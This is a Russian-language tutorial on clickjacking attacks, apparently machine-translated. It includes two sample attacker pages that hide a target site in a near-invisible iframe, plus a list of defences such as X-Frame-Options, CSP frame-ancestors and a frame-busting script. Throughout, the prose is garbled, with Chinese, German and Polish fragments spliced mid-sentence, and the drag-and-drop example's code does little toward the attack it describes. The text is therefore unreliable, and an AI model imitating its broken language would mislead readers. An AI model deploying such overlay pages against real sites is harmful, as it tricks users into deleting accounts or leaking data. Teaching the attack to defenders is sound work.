JavaScript - Clickjacking Attack

Привет,野心勃勃的程序设计师们! Сегодня мы окунемся в fascinierende мир веб-безопасности, уделяя особое внимание коварному трюку под названием Clickjacking. Не волнуйтесь, если вы новички в программировании - я шаг за шагом проведу вас через эту тему, как я делал это для countless студентов на протяжении многих лет моего преподавания. Итак, начнем!

JavaScript - Clickjacking Attack

Clickjacking Attack

Представьте, что вы собираетесь щелкнуть по милому видео с котятами, но вместо этого случайно заказываете 100 резиновых уточек. Вот что делает атака clickjacking - она обманывает вас, заставляя щелкнуть по чему-то, что вы не собирались делать.

Clickjacking, также известный как UI redressing, это злонамеренная техника, используемая атакующими для обмана пользователей, заставляя их щелкать по чему-то другому, чем они думают, что делают. Это может привести к нежелательным действиям, краже данных или даже установке вредоносного ПО.

Как работает clickjacking?

Теперь давайте разберем, как эта коварная атака действительно работает:

  1. Атакующий создает看似 безобидную веб-страницу.
  2. Они встраивают целевой сайт (тот, с которым они хотят, чтобы вы взаимодействовали) в невидимый iframe.
  3. Страница атакующего спроектирована так, чтобы идеально перекрывать кнопки или ссылки целевого сайта.
  4. Когда вы думаете, что щелкаете на странице атакующего, вы на самом деле взаимодействуете с скрытым целевым сайтом.

Это как фокус с картами, но с веб-страницами!

Примеры

Давайте рассмотрим некоторые примеры кода, чтобы лучше понять эту концепцию. Не волнуйтесь, если вы еще не понимаете все - мы разберем это!

Пример 1: Основной Clickjacking

<html>
<head>
<title>Wygraj nagródę!</title>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>Нажми здесь, чтобы выиграть приз!</h1>
<button>Забрать приз</button>
</div>
<iframe id="target_website" src="https://example.com/delete-account"></iframe>
</body>
</html>

В этом примере:

  • Мы создаем обманную веб-страницу, которая обещает приз.
  • Мы встраиваем целевой сайт (example.com/delete-account) в невидимый iframe.
  • Iframe располагается поверх кнопки "Забрать приз".
  • Когда пользователь нажимает кнопку, они на самом деле нажимают кнопку удаления учетной записи на целевом сайте!

Пример 2: Clickjacking с перетаскиванием

<html>
<head>
<title>Редактор фотографий</title>
<style>
#target_website {
position:absolute;
width:300px;
height:400px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>Перетащи изображение для редактирования</h1>
<img src="cute_cat.jpg" draggable="true" ondragstart="drag(event)">
</div>
<iframe id="target_website" src="https://example.com/share-private-data"></iframe>
<script>
function drag(ev) {
ev.dataTransfer.setData("text", ev.target.id);
}
</script>
</body>
</html>

В этом более продвинутом примере:

  • Мы создаем поддельный интерфейс редактора фотографий.
  • Целевой сайт (который может делиться私家数据)嵌入到 невидимом iframe.
  • Когда пользователь пытается перетащить изображение, они могут不知不觉но взаимодействовать с целевым сайтом, потенциально деля私家 информацию.

Реальные инциденты с Clickjacking

Clickjacking - это не только теоретическая угроза. Он использовался в реальных атаках:

  1. В 2008 году clickjacking-червь распространился через Facebook, заставляя пользователей不知不觉но нажимать кнопку "Нравится" на определенных страницах.
  2. В 2012 году исследователь продемонстрировал атаку clickjacking на Google Play Market, которая могла обмануть пользователей на покупку приложений без их ведома.
  3. В 2017 году в Microsoft Outlook Web App была обнаружена уязвимость clickjacking, которая могла позволить атакующим читать электронные письма жертв.

Эти инциденты показывают, почему так важно понять и предотвратить атаки clickjacking.

Профилактические меры

Теперь, когда мы знаем опасности, давайте посмотрим, как мы можем защититься от атак clickjacking:

Метод Описание Пример
X-Frame-Options HTTP-заголовок, предотвращающий display страницы в iframe X-Frame-Options: DENY
Content Security Policy Позволяет более детально контролировать, какие источники могут встраивать ваше содержимое Content-Security-Policy: frame-ancestors 'self'
Скрипты для разрушения iframe JavaScript, разрушающий iframe if (top != self) top.location = self.location;
SameSite Cookies Предотвращает отправку cookies в cross-site запросы Set-Cookie: session=123; SameSite=Strict

Давайте рассмотрим пример скрипта для разрушения iframe:

<html>
<head>
<style>html{display:none;}</style>
<script>
if (self == top) {
document.documentElement.style.display = 'block';
} else {
top.location = self.location;
}
</script>
</head>
<body>
<h1>Защищенный контент</h1>
<p>Эта страница защищена от clickjacking!</p>
</body>
</html>

Этот скрипт делает следующее:

  1. Изначально скрывает весь сайт.
  2. Проверяет, является ли страница顶级 окном.
  3. Если да, отображает контент.
  4. Если нет (т.е. находится в iframe), разрушает iframe.

помните, что веб-безопасность - это игра в кошки-мыши. По мере появления новых методов атак, мы должны постоянно обновлять наши защиты. Будьте любопытны, продолжайте учиться и всегда prioritизируйте безопасность в вашем пути веб-разработки!

Надеюсь, это руководство было полезным для понимания атак clickjacking. Помните, с великой кодинг силой приходит великая ответственность. Используйте свои навыки wisely, и счастливого кодирования!

Credits: Image by storyset